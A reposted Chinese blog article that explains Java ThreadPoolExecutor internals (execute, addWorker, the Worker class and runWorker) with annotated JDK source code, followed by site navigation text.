这儿为什么需要recheck,是因为任务入队列前后,线程池的状态可能会发生变化。if (! isRunning(recheck) && remove(command))reject(command);// 这儿为什么需要判断0值,主要是在线程池构造方法中,核心线程数允许为0else if (workerCountOf(recheck) == 0)addWorker(null, false);}// 如果线程池不是运行状态,或者任务进入队列失败,则尝试创建worker执行任务。// 这儿有3点需要注意:// 1. 线程池不是运行状态时,addWorker内部会判断线程池状态// 2. addWorker第2个参数表示是否创建核心线程// 3. addWorker返回false,则说明任务执行失败,需要执行reject操作else if (!addWorker(command, false))reject(command);} 4、addworker源码解析 private boolean addWorker(Runnable firstTask, boolean core) {retry:// 外层自旋for (;;) {int c = ctl.get();int rs = runStateOf(c);// 这个条件写得比较难懂,我对其进行了调整,和下面的条件等价// (rs > SHUTDOWN) || // (rs == SHUTDOWN && firstTask != null) || // (rs == SHUTDOWN && workQueue.isEmpty())// 1. 线程池状态大于SHUTDOWN时,直接返回false// 2. 线程池状态等于SHUTDOWN,且firstTask不为null,直接返回false// 3. 线程池状态等于SHUTDOWN,且队列为空,直接返回false// Check if queue empty only if necessary.if (rs >= SHUTDOWN &&! (rs == SHUTDOWN &&firstTask == null &&! workQueue.isEmpty()))return false;// 内层自旋for (;;) {int wc = workerCountOf(c);// worker数量超过容量,直接返回falseif (wc >= CAPACITY ||wc >= (core ? corePoolSize : maximumPoolSize))return false;// 使用CAS的方式增加worker数量。// 若增加成功,则直接跳出外层循环进入到第二部分if (compareAndIncrementWorkerCount(c))break retry;c = ctl.get(); // Re-read ctl// 线程池状态发生变化,对外层循环进行自旋if (runStateOf(c) != rs)continue retry;// 其他情况,直接内层循环进行自旋即可// else CAS failed due to workerCount change; retry inner loop} }boolean workerStarted = false;boolean workerAdded = false;Worker w = null;try {w = new Worker(firstTask);final Thread t = w.thread;if (t != null) {final ReentrantLock mainLock = this.mainLock;// worker的添加必须是串行的,因此需要加锁mainLock.lock();try {// Recheck while holding lock.// Back out on ThreadFactory failure or if// shut down before lock acquired.// 这儿需要重新检查线程池状态int rs = runStateOf(ctl.get());if (rs < SHUTDOWN ||(rs == SHUTDOWN && firstTask == null)) {// worker已经调用过了start()方法,则不再创建workerif (t.isAlive()) // precheck that t is startablethrow new IllegalThreadStateException();// worker创建并添加到workers成功workers.add(w);// 更新largestPoolSize变量int s = workers.size();if (s > largestPoolSize)largestPoolSize = s;workerAdded = true;} } finally {mainLock.unlock();}// 启动worker线程if (workerAdded) {t.start();workerStarted = true;} }} finally {// worker线程启动失败,说明线程池状态发生了变化(关闭操作被执行),需要进行shutdown相关操作if (! workerStarted)addWorkerFailed(w);}return workerStarted;} 5、线程池worker任务单元 private final class Workerextends AbstractQueuedSynchronizerimplements Runnable{/ This class will never be serialized, but we provide a serialVersionUID to suppress a javac warning./private static final long serialVersionUID = 6138294804551838833L;/ Thread this worker is running in. Null if factory fails. /final Thread thread;/ Initial task to run. Possibly null. /Runnable firstTask;/ Per-thread task counter /volatile long completedTasks;/ Creates with given first task and thread from ThreadFactory. @param firstTask the first task (null if none)/Worker(Runnable firstTask) {setState(-1); // inhibit interrupts until runWorkerthis.firstTask = firstTask;// 这儿是Worker的关键所在,使用了线程工厂创建了一个线程。传入的参数为当前workerthis.thread = getThreadFactory().newThread(this);}/ Delegates main run loop to outer runWorker /public void run() {runWorker(this);}// 省略代码...} 6、核心线程执行逻辑-runworker final void runWorker(Worker w) {Thread wt = Thread.currentThread();Runnable task = w.firstTask;w.firstTask = null;// 调用unlock()是为了让外部可以中断w.unlock(); // allow interrupts// 这个变量用于判断是否进入过自旋(while循环)boolean completedAbruptly = true;try {// 这儿是自旋// 1. 如果firstTask不为null,则执行firstTask;// 2. 如果firstTask为null,则调用getTask()从队列获取任务。// 3. 阻塞队列的特性就是:当队列为空时,当前线程会被阻塞等待while (task != null || (task = getTask()) != null) {// 这儿对worker进行加锁,是为了达到下面的目的// 1. 降低锁范围,提升性能// 2. 保证每个worker执行的任务是串行的w.lock();// If pool is stopping, ensure thread is interrupted;// if not, ensure thread is not interrupted. This// requires a recheck in second case to deal with// shutdownNow race while clearing interrupt// 如果线程池正在停止,则对当前线程进行中断操作if ((runStateAtLeast(ctl.get(), STOP) ||(Thread.interrupted() &&runStateAtLeast(ctl.get(), STOP))) &&!wt.isInterrupted())wt.interrupt();// 执行任务,且在执行前后通过beforeExecute()和afterExecute()来扩展其功能。// 这两个方法在当前类里面为空实现。try {beforeExecute(wt, task);Throwable thrown = null;try {task.run();} catch (RuntimeException x) {thrown = x; throw x;} catch (Error x) {thrown = x; throw x;} catch (Throwable x) {thrown = x; throw new Error(x);} finally {afterExecute(task, thrown);} } finally {// 帮助gctask = null;// 已完成任务数加一 w.completedTasks++;w.unlock();} }completedAbruptly = false;} finally {// 自旋操作被退出,说明线程池正在结束processWorkerExit(w, completedAbruptly);} } 本篇文章为转载内容。原文链接:https://blog.csdn.net/grd_java/article/details/113116244。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-21 16:19:45
328
转载
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
printf "%-10s %-10s\n" "Name" "Age"
- 打印格式化字符串,用于创建表格布局。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"